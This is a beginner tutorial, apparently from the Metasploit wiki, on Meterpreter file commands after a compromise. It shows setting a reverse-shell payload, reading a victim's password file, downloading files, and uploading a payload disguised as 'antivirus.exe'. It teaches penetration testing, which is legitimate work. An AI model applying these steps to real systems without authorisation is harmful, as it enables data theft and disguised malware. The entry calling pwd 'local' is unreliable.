Type : Tutorial
Level : Easy
You can get your meterpreter command after you have successfully compromise a system via an exploit and set up your payload to meterpreter command.
set payload windows/meterpreter/reverse_tcp
1. cat
The cat command displays the contents of a single file. As of the time of this writing, the command will throw an error when trying to read an emtpy file.
meterpreter > cat passwords.txt harleydavidson password kidsbirthday
2. cd
To change directory the cd command is used.
The command will accept both back and forward slashes somewhat interchangeably, though using a forward slash seems to work more frequently. "." and ".." are used to access the current and parent directory, respectively, and double-quotes can be used to access directories with spaces in the names.
meterpreter > pwd C:\ meterpreter > cd /"Program Files"/"Internet Explorer" meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > cd ../../"documents and settings"/Administrator/Desktop/ C:\Documents and Settings\Administrator\Desktop
3. download
When we need to retrieve a file from the target we use the download command, which transfers the specified file into our local working directory. In the event that we need to recursively download an entire directory, we use the download -r command.
meterpreter > download users.txt [*] downloading: users.txt -> users.txt [*] downloaded : users.txt -> users.txt
4. edit
To edit a file using our default text editor we use the edit command. Behind the scenes, Meterpreter will download a copy of the file to a temp directory, then upload the new file when the edit is complete.
meterpreter > edit users.txt
5. getlwd
We can show the current working directory on our local machine by using getlwd (get local working directory), or by using the alias lpwd (local print working directory).
meterpreter > getlwd /root/Desktop/metasploit meterpreter > lpwd /root/Desktop/metasploit
6. getwd
We can show the current working directory on the exploited machine by using getwd (get working directory), or by using the alias pwd (print working directory).
meterpreter > getwd C:\Program Files\Internet Explorer meterpreter > pwd C:\Program Files\Internet Explorer
7. lcd
To change the local directory we use the lcd command.
The command only accepts arguments in the same way as your operating system's cd command, so refer to your system's documentation for specific instructions. The following example shows lcd on a Linux system.
meterpreter > lpwd /root/Desktop/metasploit meterpreter > lcd ../.. meterpreter > lpwd /root/myusername meterpreter > lcd /home/andrer/Desktop/metasploit meterpreter > lpwd /home/myusername/Desktop/metasploit
8. lpwd
We can show the current working directory on our local machine by using lpwd (local print working directory), or by using the alias getlwd (get local working directory).
meterpreter > lpwd /home/myusername/Desktop/metasploit meterpreter > getlwd /home/myusername/Desktop/metasploit
9. ls
We can see both the current working directory and a detailed listing of files in that directory by using the ls command. File listings are given in a format similar to the GNU ls program.
meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\shared =============================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 14965 fil Wed Dec 31 18:00:00 -0600 1969 meter-443.exe 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 u3
10. mkdir
We use mkdir to make a new directory on the target system.
meterpreter > mkdir antivirus-update Creating directory: antivirus-update meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 antivirus-update 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 shared 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 working
11. pwd
We can show the current working directory on our local machine by using pwd ( print working directory), or by using the alias getwd (get working directory).
meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > getwd C:\Program Files\Internet Explorer
12. rmdir
We can remove an empty directory with the rmdir command. The command will throw an error if the directory is not empty.
meterpreter > rmdir antivirus-update Removing directory: antivirus-update
13. upload
To send a file to the target system we use the upload command, using the -r switch to recursively upload directories and their contents. In the following example we are uploading a falsely named Meterpreter payload.
meterpreter > upload antivirus.exe [*] uploading : antivirus.exe -> antivirus.exe [*] uploaded : antivirus.exe -> antivirus.exe meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update ================================================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 10912 fil Wed Dec 31 18:00:00 -0600 1969 antivirus.exe
Read more : metasploit wiki